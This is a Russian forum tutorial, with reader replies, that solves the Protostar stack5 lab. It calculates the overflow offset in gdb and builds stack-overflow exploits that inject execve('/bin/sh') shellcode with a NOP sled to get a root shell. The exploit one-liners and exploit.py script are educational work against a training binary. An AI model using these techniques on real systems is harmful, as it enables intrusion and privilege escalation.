Статья Переполнение буфера и размещение шеллкода в памяти - Изучение методов эксплуатации на примерах, часть 6

Все части переполнение буфера
Предыдущая часть Переполнение буфера и перезапись адреса возврата - разработка эксплойтов, часть 5
Следующая часть Переполнение буфера и техника эксплуатации Ret2Libc - разработка эксплойтов, часть 7

Доброго времени суток codeby!!! В предыдущей статье мы познакомились с методом, как перезаписывать адрес возврата используя регистр EIP и так же вычисляли смещение (offset). Это 6 часть цикла статей посвященная разработке эксплойтов. В этой статье мы впервые познакомимся с шеллкодом и напишем с вами первый эксплойт. Шестая часть, шеллкод, черная магия... Совпадение ? Не думаю. Поехали...

Ремарка

Начиная с этого момента нам будет не очень удобно работать напрямую с VM, т.е. взаимодействовать с ней. Особенно это касается копирование данных. Или когда нам надо запустить два окна сразу... Чтобы это исправить теперь мы будем не просто запускать VM и работать с ней, а теперь мы будем подключаться к VM по SSH используя клиент Putty. Для того, чтобы это сделать, надо в настройках VM в разделе "Сеть" включить виртуальный хост адаптера. После чего запустить VM, дальше выполнить команду
Код:
/sbin/ifconfig
Затем посмотрев IP-адрес машины (192.168.56.101) подключиться с помощью клиента Putty.

Описание ExploitMe

Stack5 - это стандартное переполнение буфера, на этот раз вводим шелл-код.

Этот уровень находится в / opt / protostar / bin / stack5

Советы
  • На данный момент может быть проще использовать кто-то другой шеллкод
  • При отладке шелл-кода используйте \ xcc (int3), чтобы остановить выполнение программы и вернуться к отладчику.
  • удалите int3s, как только ваш шеллкод будет готов.
, VM

Исходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

Решение

Данный нам код уязвимой программы уже нам знаком, мы встречались уже с ним в stack4, единственное отличие здесь нет функции win(). Цель этого задания выполнить шеллкод. И так поговорим с вами о том, что такое шеллкод, что это такое и с чем его едят.

Шеллкод - это двоичный исполняемый код, его так же называют частенько Payload'ом - боевой нагрузкой, так же шеллкод является неотъемлемой частью эксплойта. Целью шеллкода является выполнение каких-то действий, при чем самых разнообразных, эти действия закодированы в самом шеллкоде, т.е сам шеллкод если говорить простым языком это набор команд (инструкций).

Существует множество различных шеллкод'ов...

Например, шеллкод который запускает командную оболочку '/bin/sh' или 'cmd' или шеллкод, который скачает файл по URL и затем его выполнит, или же шеллкод который открывает TCP-порт, через который будет осуществляться дальнейший доступ к командной оболочке, или же шеллкод который запускает какую-то определенную программу, например калькулятор. Простым языком шеллкод, это код любой наш код, который мы хотим выполнить.

Собственно шеллкод может быть разного размера и написан под разные задачи в зависимости от преследуемой цели. Т.е. шеллкод который выполняет больше действий соответственно будет большего размера и наоборот. Теперь когда нам более менее понятно, что такое шеллкод в общих чертах, посмотрим, как он выглядит.

А выглядит он так...
Код:
\x31\xC0\xB9\x46\x24\x80\x7C\x66\xB8\x90\x5F\x50\xFF\xD1
.е. как цепочка последовательности определенных байтов...

Что касается нашего ExploitMe. Шеллкод нам надо будет внедрить в память нашей уязвимой программы, после чего нам надо будет передать управление на шеллкод при переполнении буфера. Передача управления шеллкоду осуществляется перезаписью адреса возврата (RET) в стеке, адресом внедрённого шеллкода. Это классический метод исполнения шеллкода при написании эксплойтов.

Так, как, это первое знакомство с шеллкодом, будем использовать шеллкод, который запустит нам командную оболочку '/bin/sh'. Собственно это и есть цель нашего задания...

Получается эксплуатация уязвимой программы будет выглядеть следующем образом.

Мусорная строка + адрес шеллкода + сам шеллкод. Результатом этого будет выполнение нашего шеллкода, который откроет командную оболочку.

И так, пожалуй приступим. Начнем с вычисления смещения - offset. Будем использовать метод аналогичный методу с Metasploit, поэтому переходим на сайт.

Далее создадим файл в домашней директории.
Код:
nano ~/offset.txt
И скопируем 200 байт, уникальной мусорной строки в него.
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Сохраняем F2,y,Enter.

Запускаем отладчик GDB.
Код:
gdb -q ./stack5
и перенаправляем вывод из нашего файла в программу.
Код:
run < ~/offset.txt
27955


Получаем адрес 0x63413563, потом вводим его на сайте, как было в прошлой статье и получаем 76 байт для смещения (offset), затем можно выйти из отладчика - quit

27956


Отлично смещение мы вычислили - 76 байт.

Далее будем использовать python для проверки области которая перезаписывает регистр EIP. По идее следующие 4 байта перезапишут EIP. Поэтому перенаправим печать и создадим еще один файл используя питон.
Код:
python -c "print 'A'*76 +'ABCD'[::-1]" > ~/test_eip.txt
Запускаем отладчик GDB и выполняем программу с выводом из файла.
Код:
gdb -q ./stack5
run < ~/test_eip.txt
info registers
27957


И видим, действительно после 76 байт, следующие 4 байта попадают в регистр EIP. А вся область это 80 байт. Собственно, как и было в прошлый раз. Так же не забываем про , что если бы мы не использовали реверс строки в печати 'ABCD', то в памяти они выглядели по другому, т.е. тоже перевернутыми. И в место 0x41424344 (ABCD)мы бы увидели 0x44434241 (DCBA).

На место 4 байт , которые ложатся в регистр EIP нам надо положить, адрес того, что мы хотим исполнить, а именно адрес шеллкода. Далее нам надо найти где в стеке расположен наш буфер, затем используем его для хранения нашего шеллкода. Этот подход является наиболее простым и очень нам подходит.

Так, как же нам найти место где находится наш буфер?

Мы точно знаем, в какой момент наше значение попадает в регистр EIP, в тот момент, когда возвращается функция main(). Мы можем использовать отладчик, чтобы остановить выполнение программы на этом этапе, чтобы посмотреть память.

Дизассемблируем функцию main() , чтобы узнать адрес возврата (RET) функции main(). Помним, что когда функция отработала она передает управление от куда ее вызвали...
Код:
disas main
27958



Адрес возврата (RET) функции main() получен - 0x080483da. Теперь установим точку останова (breakpoint) на этот адрес и запустим программу в отладчике с тем созданным файлом для теста EIP.
Код:
break *0x080483da
run < ~/test_eip.txt
27959


Выполнение программы дойдет до нашей точки останова - установленной на RET адресе функции main() и остановится. Теперь мы можем посмотреть на состояние памяти перед тем как перезаписывается EIP .

Для начала посмотрим состояние регистров
Код:
info registers
27960


Мы видим, что регистр EBP уже имеет значение 0x41414141, это происходит, когда выполняется команда (RET) расположенная по адресу 0x80483da, которая выталкивает указатель сохраненного кадра из стека в EBP. К тому же, мы так же можем контролировать значение регистра EBP, как EIP. Адрес регистра EIP указывает на точку останова, как и было задумано. Теперь посмотрим память, так, как на этом этапе значение регистра ESP не затронуто. Наш буфер должен быть достаточно близко к вершине стека.

Помним что ESP указывает на вершину стека (младшие адреса).
Код:
x/16x $esp
27961


Тут мы не увидели 64 символа из букв 'A', видно только значение 'ABCD'.

Давайте теперь посмотрим на другую часть стека. Поскольку 80 байт это та область которая перезаписывает EIP, мы вычтем это значение из регистра ESP.
Код:
x/32x $esp-80
27951


Отлично теперь мы видим не 64 байта. А все 80 байт. Включая 76 байт смещения (offset) и 4 байта которые перезапишут регистр EIP. По сути у нас есть 76 байт для шеллкода. Давайте попробуем исполнить наш шеллкод. Затем рассмотрим другой вариант.

И так, действовать будем так, с начало положим в буфер 12 байт мусора, затем шеллкод, потом еще мусор, затем 4 байта отведенные на адрес 0xbffffc8c шеллкода , которые пойдут в EIP. Выходим из отладчика (quit), а так же у нас есть один не решенный вопрос...

Где взять шеллкод?
шеллкод - можно найти в интернете;
шеллкод - можно написать самому;
шеллкод - можно сгенерировать (генератором, например msfvenom).

Мы же возьмем шеллкод от с сайта . Сайт очень богат разной информацией, поэтому советую на нем полазить.

27962


И так шеллкод у нас есть.
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
Еще одна важная деталь, чем шеллкод меньше весит, тем лучше. Иногда бывает, так что не хватает места для его размещения в памяти. Данная цепочка байтов составляет 28 байт.

12(мусор) + 28(шеллкод) + 36(мусор) + 4(адрес шеллкода) = 80 байт

Теперь создаем файл-эксплойт.
python -c "print 'a'*12 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + 'a'*36 + '\xbf\xff\xfc\x8c'[::-1]" > ~/gdb_exploit.txt
Запускаем отладчик
Код:
gdb -q ./stack5
Выполняем файл-эксплойт
Код:
run < ~/gdb_exploit.txt
27952


Отлично наш шеллкод отработал мы получили оболочку. Рассмотрим второй вариант.

А что если этого буфера мало для шеллкода, т.е, нам не хватает места для размещения нашего шеллкода... Вопрос, можно ли выделить себе больше места? Для размещения шеллкода и что произойдет если мы добавим еще какое-то количество байтов... за пределами (RET).

Давайте создадим еще один файл и назовем его test_exploit.txt.

выйдем из отладчика. (quit)
Код:
python -c "print 'A'*76 +'ABCD'[::-1] + 'B'*256" > ~/test_exploit.txt
Будем использовать 80 байт для всей области + дополнительно 256 байт из букв 'B'. Так же мы точно не знаем, останутся ли эти байты не тронутыми. Воспользуемся отладчиком GDB и проверим.

Запускаем отладчик...
Код:
gdb -q ./stack5
break *0x080483da
run < ~/test_exploit.txt
x/32x $esp
27953


На этот раз, когда мы исследуем память в стеке, мы видим, что мы перезаписали за пределы (RET) и поместили в стек цепочку байтов из букв 'B' - 0x42.
Этого места нам будет достаточно для размещения нашего шеллкода.
Код:
x/72x $esp
27954


Теперь мы видим, где можно разместить наш шеллкод, Знаем будущий адрес шеллкода в памяти.

А еще в первой строчке видно байты 0x42, сразу же после значения 0x41424344, эти байты нам мешают, иначе шеллкод не выполнится, как было задумано.
Код:
0xbffffccc:     0x41424344      0x42424242      0x42424242      0x42424242
Поэтому, их надо заменить, но тут вопрос, чем их заметить? Есть такая инструкция процессора, как NOP. Опкод этой инструкции равен 0x90. Эта инструкция обозначает ничего, т.е. нет операции, пусто. Последовательность байтов из 0x90 называется . Поэтому при выполнение программы когда процессор дойдет до выполнение инструкции NOP ничего не будет выполнено. По сути он пропустит этот опкод и перейдет к следующей инструкции. Тут главное еще то, что их должно быть не меньше 12 байт. Тогда шеллкод не выполнится. А если их будет 12 байт или больше, то шеллкод все равно отработает, мы можем хоть 100 байтов (0x90) запихнуть в стек. Да хоть 500 байтов!!! Всё равно отработает наш шеллкод, как положено. Желательно, конечно, чтобы их было больше 12...

Выходим из отладчика и создаем другой файл-эксплойт
python -c "print 'a'*76 + '\xbf\xff\xfc\xdc'[::-1] + '\x90'*12 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'" > ~/gdb_exploit2.txt

запускаем
Код:
gdb -q ./stack5
run < ~/exploit.txt
27964


Отлично наш шеллкод снова выполнился.

Если мы попробуем запустить файл-эксплойт в не отладчика GDB, то он не выполнится, все дело в том, что при запуске программы под отладчиком, адреса в стеке смещаются. Поэтому будем допиливать наш эксплойт, надо просто подправить адрес возврата. Чтобы получить другой адрес возврата на шеллкод. Нам нужен дамп памяти.

И так запускаем второе окно Putty и коннектимся по ssh с логином root и паролем godmode

И так выполняем следующие команды для того, чтобы получить дамп памяти.
Код:
echo 2 > /proc/sys/fs/suid_dumpable
ulimit -c unlimited
cd /tmp - переходим в каталог где появится дамп памяти

Создаем файл-эксплойт, где шеллкод расположен в буфере
python -c "print 'a'*12 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + 'a'*36 + '\x41\x42\x43\x44'[::-1]" > /tmp/exploit.txt
Код:
cat exploit.txt | /opt/protostar/bin/stack5
Получаем дамп памяти
Segmentation fault (core dumped)

ls -l - смотрим название дампа памяти
gdb /opt/protostar/bin/stack5 core.11.stack5.10970 - запускаем отладчик с программой и дампом памяти
x/32x $esp-80 - смотрим память стека

28003


Новый адрес шеллкода теперь 0xbffffc80

Немного подкорректируем наш эксплойт

python -c "print 'a'*16 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + 'a'*32 + '\xbf\xff\xfc\x80'[::-1]" > exploit.txt

Хотя от того что мы в начале добавили 4 байта, а там отняли ничего не меняется. Самое главное тут адрес.
Код:
(cat exploit.txt ; cat) | /opt/protostar/bin/stack5
28002


Теперь при запуске эксплойта, мы не получаем ошибку... сегментации памяти. Хоть мы и сидим под рутом, но оболочк мы все же получили.

Теперь займемся другим эксплойтом создаем файл.

python -c "print 'a'*76 + '\x41\x42\x43\x44'[::-1] + '\x90'*12 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'" > /tmp/exploit2.txt
Код:
cat exploit2.txt | /opt/protostar/bin/stack5
Получаем дамп памяти
Segmentation fault (core dumped)

ls -l - смотрим название дампа памяти
Код:
gdb /opt/protostar/bin/stack5 core.11.stack5.11035
x/32x $esp
28001


Адрес у нас есть 0xbffffcc0 добавим к нему +80, чтобы те байты которые находятся за RET адресом, исполнились, т.е. там где находится наш шеллкод.

Возвращаем к putty окну где мы зашли под user.

Теперь напишем более реалистичный эксплойт, будем использовать модуль , в котором есть функция pack() для работы со структурами данных.
nano exploit.py
Python:
from struct import pack
trash = 'a'*76
eip = pack("I", 0xbffffcc0+80)
nops = "\x90" *100
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
print trash+eip+nops+shellcode

Нажимаем f2,y,enter.

Далее выполняем следующее...
Код:
whoami
id
(python exploit.py ; cat) | ./opt/protostar/bin/stack5
id
whoami
...

28005


Как видите эксплойт успешно отработал, мы получили оболочку с правами root и можем выполнять различные команды...

Ну или можно было сделать так.

28006


Закрываем оболочку нажатием комбинацией клавиш
Код:
Ctrl+C
Так же хочу сказать, что некоторые моменты в статье опущены специально, но мы их разберем в свое время. В задании говорилось об инструкции int 3, опкод этой инструкции 0xCC, этот опкод останавливает выполнение программы вызывая исключение, как точка останова, если в коде есть такой опкод, и вы запускаете программу под отладчиком, отладчик может принять, этот опкод, за точку за свою точку останова, иногда это используется, как антиотладочный прием. Теперь можно переходить на следующий уровень .
 

fuzzz

Green Team
03.02.2019
249
470
BIT
2
Здравствуйте! Очень рад, что нашел настолько хороший цикл статей, у меня проблема с прохождением.

Всё шло отлично до момента с с брейкпоинтом. Поставил брейк на адрес 0x080483da из RET, иду далее и получаю ошибку, что нет доступа к адресу 0x41414149. В чем моя ошибка? Прошу помощи.

Порядок действий:

Если нужно что-то показать ещё, то запросто
Бряк мы ставим на рет, чтобы программа не завершилась. А запуск программы с последующей передачей строки через файл нужно, что посмотреть на регистры. Т.е. попало ли предполагаемое нами значение в тот или иной регистр. Т.е. бряк и входная строка дают нам некую информацию. По сути когда мы получаем ошибку подобного типа 0x4141414 значит EIP перезаписан. Это значит что мы контролируем EIP. Это нам и нужно. Т.е. эта ошибка.
 
  • Нравится
Реакции: Sykes

lxmpt_p

New member
04.12.2019
1
0
BIT
0
fuzzz, повторяю действия в статье. удалось все выполнить кроме последнего,когда запускаю эксплоит от user "(python exploit.py ; cat) | /opt/protostar/bin/stack5", получаю ожидание ввода команды, но при вводе любой команды получаю segmentation fault. перепроверил адреса, все нормально, логически возврат из функции должен попадать на nop`ы и дойти до шелла, а при вводе команды выполниться шелл. под отладчиком приглашение шелла видно. Алгоритмически я все сделал верно. и еще, если я запускаю эксплоит под root, то ошибки сегментации не происходит и я полноценно получаю шелл. В чем может быть причина?Посмотреть вложение 30449
Время доброе! Столкнулся с аналогичной проблемой. Удалось решить ?
 

krk

New member
07.12.2019
2
0
BIT
0
Спасибо за статью, но можете пожайлуйста объяснить для чего нужен cat после точки с запятой
 

fuzzz

Green Team
03.02.2019
249
470
BIT
2
Спасибо за статью, но можете пожайлуйста объяснить для чего нужен cat после точки с запятой
Где то я об этом уже писал. Только не помню где... В общем если говорить простым языком, то он нужен для того чтобы не закрывался поток данных I\O. А точка с запятой это разделения команд.
 

Vultros

New member
25.05.2019
3
0
BIT
1
Всем привет!
fuzzz, хотел выразить Вам огромную благодарность за Ваши труды. Очень полезные материалы.
Я сначала стараюсь повозиться с лабораторной сам, а потом читаю Ваше руководство.

Хотел уточнить один момент. В Вашем руководстве есть предложение:
Мы видим, что регистр EBP уже имеет значение 0x41414141, это происходит, когда выполняется команда (RET) расположенная по адресу 0x80483da, которая выталкивает указатель сохраненного кадра из стека в EBP

Поправьте меня, если не прав, но считаю, что здесь не совсем точно сказано.
В регистр EBP значение 0x41414141 попало в результате выполнения высокоуровневой процедуры leave, которая является аналогом пролога функций:
Код:
mov esp, ebp
pop ebp
Думаю, что правильнее было бы написать:
Мы видим, что регистр EBP уже имеет значение 0x41414141. Это происходит, когда выполняется команда (LEAVE), расположенная по адресу 0x80483d9, которая копирует значение регистра EBP в ESP и выталкивает указатель сохраненного кадра из стека в EBP.

Команда ret выталкивает значение на вершине стека в регистр EIP (аналог pop eip).
 

Vultros

New member
25.05.2019
3
0
BIT
1
fuzz, возник еще один вопрос.
Не могли бы Вы, пожалуйста, пояснить следующую фразу:
А еще в первой строчке видно байты 0x42, сразу же после значения 0x41424344, эти байты нам мешают, иначе шеллкод не выполнится, как было задумано.
Код:
0xbffffccc:     0x41424344      0x42424242      0x42424242      0x42424242

Чем нам мешают эти байты? Я просто пробовал в лабораторной оставлять эти байты и аналогично Вашей схеме менял EIP на шеллкод.
Шеллкод также успешно отрабатывал. Его вывод был полностью совпадал с Вашим.
 

swagcat228

Заблокирован
19.12.2019
341
86
BIT
0
Здравствуйте! Очень рад, что нашел настолько хороший цикл статей, у меня проблема с прохождением.

Всё шло отлично до момента с с брейкпоинтом. Поставил брейк на адрес 0x080483da из RET, иду далее и получаю ошибку, что нет доступа к адресу 0x41414149. В чем моя ошибка? Прошу помощи.

Порядок действий:



Если нужно что-то показать ещё, то запросто
вы перезаписали уже память в том месте. и теперь программа пытается выполнить ваши 0x41414149 как инструкци. соответственно, синтаксис не может быть верным - вот он и ругается.

p.s. я могу ошибаться.
 

swagcat228

Заблокирован
19.12.2019
341
86
BIT
0
И так, действовать будем так, с начало положим в буфер 12 байт мусора, затем шеллкод, потом еще мусор, затем 4 байта отведенные на адрес 0xbffffc8c шеллкода , которые пойдут в EIP. Выходим из отладчика (quit), а так же у нас есть один не решенный вопрос...
Подскажите пожалуйста, почему мы сперва кладём 12 байт мусора, что бы выровнять стек?
Дело в том, что у меня в зависимости от N при команде x/x $rsp-(N) по разному строится отображение стека.

к примеру если до выполнения ret у меня
(gdb) x/64x $rsp-128
0x7fffffffe258: 0xf7ea4625 0x00000001 0x40404040 0x40404040

то после сегфаулт у меня

(gdb) x/64x $rsp-128
0x7fffffffe260: 0x40404040 0x40404040 0xfe58426a 0x529948c4
 

Urfin--Juice

Green Team
14.11.2017
203
74
BIT
3
Все части переполнение буфера
Предыдущая часть Переполнение буфера и перезапись адреса возврата - разработка эксплойтов, часть 5
Следующая часть Переполнение буфера и техника эксплуатации Ret2Libc - разработка эксплойтов, часть 7

Доброго времени суток codeby!!! В предыдущей статье мы познакомились с методом, как перезаписывать адрес возврата используя регистр EIP и так же вычисляли смещение (offset). Это 6 часть цикла статей посвященная разработке эксплойтов. В этой статье мы впервые познакомимся с шеллкодом и напишем с вами первый эксплойт. Шестая часть, шеллкод, черная магия... Совпадение ? Не думаю. Поехали...

Ремарка

Начиная с этого момента нам будет не очень удобно работать напрямую с VM, т.е. взаимодействовать с ней. Особенно это касается копирование данных. Или когда нам надо запустить два окна сразу... Чтобы это исправить теперь мы будем не просто запускать VM и работать с ней, а теперь мы будем подключаться к VM по SSH используя клиент Putty. Для того, чтобы это сделать, надо в настройках VM в разделе "Сеть" включить виртуальный хост адаптера. После чего запустить VM, дальше выполнить команду
Код:
/sbin/ifconfig
Затем посмотрев IP-адрес машины (192.168.56.101) подключиться с помощью клиента Putty.

Описание ExploitMe

Stack5 - это стандартное переполнение буфера, на этот раз вводим шелл-код.

Этот уровень находится в / opt / protostar / bin / stack5

Советы
  • На данный момент может быть проще использовать кто-то другой шеллкод
  • При отладке шелл-кода используйте \ xcc (int3), чтобы остановить выполнение программы и вернуться к отладчику.
  • удалите int3s, как только ваш шеллкод будет готов.
, VM

Исходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

Решение

Данный нам код уязвимой программы уже нам знаком, мы встречались уже с ним в stack4, единственное отличие здесь нет функции win(). Цель этого задания выполнить шеллкод. И так поговорим с вами о том, что такое шеллкод, что это такое и с чем его едят.

Шеллкод - это двоичный исполняемый код, его так же называют частенько Payload'ом - боевой нагрузкой, так же шеллкод является неотъемлемой частью эксплойта. Целью шеллкода является выполнение каких-то действий, при чем самых разнообразных, эти действия закодированы в самом шеллкоде, т.е сам шеллкод если говорить простым языком это набор команд (инструкций).

Существует множество различных шеллкод'ов...

Например, шеллкод который запускает командную оболочку '/bin/sh' или 'cmd' или шеллкод, который скачает файл по URL и затем его выполнит, или же шеллкод который открывает TCP-порт, через который будет осуществляться дальнейший доступ к командной оболочке, или же шеллкод который запускает какую-то определенную программу, например калькулятор. Простым языком шеллкод, это код любой наш код, который мы хотим выполнить.

Собственно шеллкод может быть разного размера и написан под разные задачи в зависимости от преследуемой цели. Т.е. шеллкод который выполняет больше действий соответственно будет большего размера и наоборот. Теперь когда нам более менее понятно, что такое шеллкод в общих чертах, посмотрим, как он выглядит.

А выглядит он так...
Код:
\x31\xC0\xB9\x46\x24\x80\x7C\x66\xB8\x90\x5F\x50\xFF\xD1
.е. как цепочка последовательности определенных байтов...

Что касается нашего ExploitMe. Шеллкод нам надо будет внедрить в память нашей уязвимой программы, после чего нам надо будет передать управление на шеллкод при переполнении буфера. Передача управления шеллкоду осуществляется перезаписью адреса возврата (RET) в стеке, адресом внедрённого шеллкода. Это классический метод исполнения шеллкода при написании эксплойтов.

Так, как, это первое знакомство с шеллкодом, будем использовать шеллкод, который запустит нам командную оболочку '/bin/sh'. Собственно это и есть цель нашего задания...

Получается эксплуатация уязвимой программы будет выглядеть следующем образом.

Мусорная строка + адрес шеллкода + сам шеллкод. Результатом этого будет выполнение нашего шеллкода, который откроет командную оболочку.

И так, пожалуй приступим. Начнем с вычисления смещения - offset. Будем использовать метод аналогичный методу с Metasploit, поэтому переходим на сайт.

Далее создадим файл в домашней директории.
Код:
nano ~/offset.txt
И скопируем 200 байт, уникальной мусорной строки в него.
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Сохраняем F2,y,Enter.

Запускаем отладчик GDB.
Код:
gdb -q ./stack5
и перенаправляем вывод из нашего файла в программу.
Код:
run < ~/offset.txt
Посмотреть вложение 27955

Получаем адрес 0x63413563, потом вводим его на сайте, как было в прошлой статье и получаем 76 байт для смещения (offset), затем можно выйти из отладчика - quit

Посмотреть вложение 27956

Отлично смещение мы вычислили - 76 байт.

Далее будем использовать python для проверки области которая перезаписывает регистр EIP. По идее следующие 4 байта перезапишут EIP. Поэтому перенаправим печать и создадим еще один файл используя питон.
Код:
python -c "print 'A'*76 +'ABCD'[::-1]" > ~/test_eip.txt
Запускаем отладчик GDB и выполняем программу с выводом из файла.
Код:
gdb -q ./stack5
run < ~/test_eip.txt
info registers
Посмотреть вложение 27957

И видим, действительно после 76 байт, следующие 4 байта попадают в регистр EIP. А вся область это 80 байт. Собственно, как и было в прошлый раз. Так же не забываем про , что если бы мы не использовали реверс строки в печати 'ABCD', то в памяти они выглядели по другому, т.е. тоже перевернутыми. И в место 0x41424344 (ABCD)мы бы увидели 0x44434241 (DCBA).

На место 4 байт , которые ложатся в регистр EIP нам надо положить, адрес того, что мы хотим исполнить, а именно адрес шеллкода. Далее нам надо найти где в стеке расположен наш буфер, затем используем его для хранения нашего шеллкода. Этот подход является наиболее простым и очень нам подходит.

Так, как же нам найти место где находится наш буфер?

Мы точно знаем, в какой момент наше значение попадает в регистр EIP, в тот момент, когда возвращается функция main(). Мы можем использовать отладчик, чтобы остановить выполнение программы на этом этапе, чтобы посмотреть память.

Дизассемблируем функцию main() , чтобы узнать адрес возврата (RET) функции main(). Помним, что когда функция отработала она передает управление от куда ее вызвали...
Код:
disas main
Посмотреть вложение 27958


Адрес возврата (RET) функции main() получен - 0x080483da. Теперь установим точку останова (breakpoint) на этот адрес и запустим программу в отладчике с тем созданным файлом для теста EIP.
Код:
break *0x080483da
run < ~/test_eip.txt
Посмотреть вложение 27959

Выполнение программы дойдет до нашей точки останова - установленной на RET адресе функции main() и остановится. Теперь мы можем посмотреть на состояние памяти перед тем как перезаписывается EIP .

Для начала посмотрим состояние регистров
Код:
info registers
Посмотреть вложение 27960

Мы видим, что регистр EBP уже имеет значение 0x41414141, это происходит, когда выполняется команда (RET) расположенная по адресу 0x80483da, которая выталкивает указатель сохраненного кадра из стека в EBP. К тому же, мы так же можем контролировать значение регистра EBP, как EIP. Адрес регистра EIP указывает на точку останова, как и было задумано. Теперь посмотрим память, так, как на этом этапе значение регистра ESP не затронуто. Наш буфер должен быть достаточно близко к вершине стека.

Помним что ESP указывает на вершину стека (младшие адреса).
Код:
x/16x $esp
Посмотреть вложение 27961

Тут мы не увидели 64 символа из букв 'A', видно только значение 'ABCD'.

Давайте теперь посмотрим на другую часть стека. Поскольку 80 байт это та область которая перезаписывает EIP, мы вычтем это значение из регистра ESP.
Код:
x/32x $esp-80
Посмотреть вложение 27951

Отлично теперь мы видим не 64 байта. А все 80 байт. Включая 76 байт смещения (offset) и 4 байта которые перезапишут регистр EIP. По сути у нас есть 76 байт для шеллкода. Давайте попробуем исполнить наш шеллкод. Затем рассмотрим другой вариант.

И так, действовать будем так, с начало положим в буфер 12 байт мусора, затем шеллкод, потом еще мусор, затем 4 байта отведенные на адрес 0xbffffc8c шеллкода , которые пойдут в EIP. Выходим из отладчика (quit), а так же у нас есть один не решенный вопрос...

Где взять шеллкод?
шеллкод - можно найти в интернете;
шеллкод - можно написать самому;
шеллкод - можно сгенерировать (генератором, например msfvenom).

Мы же возьмем шеллкод от с сайта . Сайт очень богат разной информацией, поэтому советую на нем полазить.

Посмотреть вложение 27962

И так шеллкод у нас есть.
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
Еще одна важная деталь, чем шеллкод меньше весит, тем лучше. Иногда бывает, так что не хватает места для его размещения в памяти. Данная цепочка байтов составляет 28 байт.

12(мусор) + 28(шеллкод) + 36(мусор) + 4(адрес шеллкода) = 80 байт

Теперь создаем файл-эксплойт.
python -c "print 'a'*12 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + 'a'*36 + '\xbf\xff\xfc\x8c'[::-1]" > ~/gdb_exploit.txt
Запускаем отладчик
Код:
gdb -q ./stack5
Выполняем файл-эксплойт
Код:
run < ~/gdb_exploit.txt
Посмотреть вложение 27952

Отлично наш шеллкод отработал мы получили оболочку. Рассмотрим второй вариант.

А что если этого буфера мало для шеллкода, т.е, нам не хватает места для размещения нашего шеллкода... Вопрос, можно ли выделить себе больше места? Для размещения шеллкода и что произойдет если мы добавим еще какое-то количество байтов... за пределами (RET).

Давайте создадим еще один файл и назовем его test_exploit.txt.

выйдем из отладчика. (quit)
Код:
python -c "print 'A'*76 +'ABCD'[::-1] + 'B'*256" > ~/test_exploit.txt
Будем использовать 80 байт для всей области + дополнительно 256 байт из букв 'B'. Так же мы точно не знаем, останутся ли эти байты не тронутыми. Воспользуемся отладчиком GDB и проверим.

Запускаем отладчик...
Код:
gdb -q ./stack5
break *0x080483da
run < ~/test_exploit.txt
x/32x $esp
Посмотреть вложение 27953

На этот раз, когда мы исследуем память в стеке, мы видим, что мы перезаписали за пределы (RET) и поместили в стек цепочку байтов из букв 'B' - 0x42.
Этого места нам будет достаточно для размещения нашего шеллкода.
Код:
x/72x $esp
Посмотреть вложение 27954

Теперь мы видим, где можно разместить наш шеллкод, Знаем будущий адрес шеллкода в памяти.

А еще в первой строчке видно байты 0x42, сразу же после значения 0x41424344, эти байты нам мешают, иначе шеллкод не выполнится, как было задумано.
Код:
0xbffffccc:     0x41424344      0x42424242      0x42424242      0x42424242
